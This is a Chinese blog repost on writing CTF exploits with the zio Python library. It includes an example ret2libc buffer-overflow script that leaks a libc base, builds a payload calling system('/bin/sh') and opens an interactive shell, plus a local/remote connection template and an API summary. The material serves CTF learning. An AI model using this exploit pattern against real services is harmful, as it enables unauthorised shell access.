我是靠谱客的博主 勤恳蜜粉,这篇文章主要介绍CTF中的EXP编写技巧 zio库的使用,现在分享给大家,希望可以做个参考。

zio库没有提供文档

这个是官方给出的一个例子程序

复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
1 from zio import * 2 io = zio('./buggy-server') 3 # io = zio((pwn.server, 1337)) 4 5 for i in xrange(1337): 6 io.writeline('add ' + str(i)) 7 io.read_until('>>') 8 9 io.write("add TFpdp1gL4Qu4aVCHUF6AY5Gs7WKCoTYzPv49QSaninfo " + "A" * 49 + "nshown") 10 io.read_until('A' * 49) 11 libc_base = l32(io.read(4)) - 0x1a9960 12 libc_system = libc_base + 0x3ea70 13 libc_binsh = libc_base + 0x15fcbf 14 payload = 'A' * 64 + l32(libc_system) + 'JJJJ' + l32(libc_binsh) 15 io.write('info ' + payload + "nshownexitn") 16 io.read_until(">>") 17 # We've got a shell;-) 18 io.interact()

可以做本地和远程的切换

复制代码
1
2
3
4
5
6
7
8
9
10
1 from zio import * 2 3 if you_are_debugging_local_server_binary: 4 io = zio('./buggy-server') # used for local pwning development 5 elif you_are_pwning_remote_server: 6 io = zio(('1.2.3.4', 1337)) # used to exploit remote service 7 8 io.write(your_awesome_ropchain_or_shellcode) 9 # hey, we got an interactive shell! 10 io.interact()

总结一下

zio (('127.0.0.1',3389), timeout = 9999)

连接到ip的端口

zio('./pwn1') 加载本地文件

 

writeline('abc') 发送字符串

write(‘abc') 发送字符串

 

read_until('hello') 直到收到字符串

read(4) 接收

l32()   4byte

l64()   8byte

interact()与shell交互

转载于:https://www.cnblogs.com/Ox9A82/p/5475815.html

最后

以上就是勤恳蜜粉最近收集整理的关于CTF中的EXP编写技巧 zio库的使用的全部内容,更多相关CTF中的EXP编写技巧内容请搜索靠谱客的其他文章。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(94)

评论列表共有 0 条评论

立即
投稿
返回
顶部